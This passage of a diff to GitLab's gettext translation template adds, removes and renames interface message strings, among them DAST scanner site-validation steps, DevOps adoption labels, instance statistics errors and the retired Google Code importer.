msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8248,9 +8469,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8311,6 +8529,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8438,9 +8659,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8489,7 +8707,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8516,9 +8737,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8540,15 +8758,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8582,9 +8800,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8618,64 +8845,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8789,9 +9037,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8816,7 +9061,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8900,9 +9145,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9320,6 +9562,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9338,6 +9583,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9374,6 +9622,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9431,6 +9682,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9509,15 +9763,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9527,15 +9775,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9726,9 +10043,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9801,9 +10115,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9852,9 +10163,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9960,6 +10277,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -10035,6 +10355,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10065,6 +10388,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10137,7 +10463,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10155,6 +10481,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10506,6 +10835,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10617,6 +10949,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10854,9 +11189,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10893,6 +11225,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10971,6 +11306,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11205,6 +11543,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11313,6 +11654,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11448,6 +11792,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11487,6 +11834,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11526,12 +11876,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11701,6 +12057,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11725,9 +12084,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11788,6 +12144,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11830,7 +12189,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11956,12 +12315,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11986,9 +12339,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -12034,9 +12384,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12121,6 +12468,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12148,9 +12498,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12637,6 +12984,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12670,6 +13020,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12880,15 +13233,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13003,12 +13353,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13243,6 +13587,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13636,12 +13986,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13717,6 +14061,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13872,9 +14219,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -14016,6 +14360,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14096,12 +14443,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14153,9 +14494,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14186,6 +14524,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14219,6 +14560,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14249,9 +14593,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14429,9 +14770,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14516,9 +14854,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14544,73 +14879,79 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14649,6 +14990,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14682,7 +15026,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14700,6 +15053,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14721,6 +15077,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14796,6 +15155,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14838,6 +15200,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14862,6 +15227,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14907,6 +15275,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14916,16 +15287,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15033,9 +15404,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -15099,6 +15467,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15234,10 +15605,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15414,6 +15785,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15543,6 +15935,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15727,9 +16122,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15823,6 +16215,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15850,9 +16245,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15883,9 +16275,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15949,9 +16338,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16003,18 +16389,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -16030,9 +16407,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16138,6 +16512,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16160,6 +16537,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16364,9 +16744,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16427,16 +16804,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
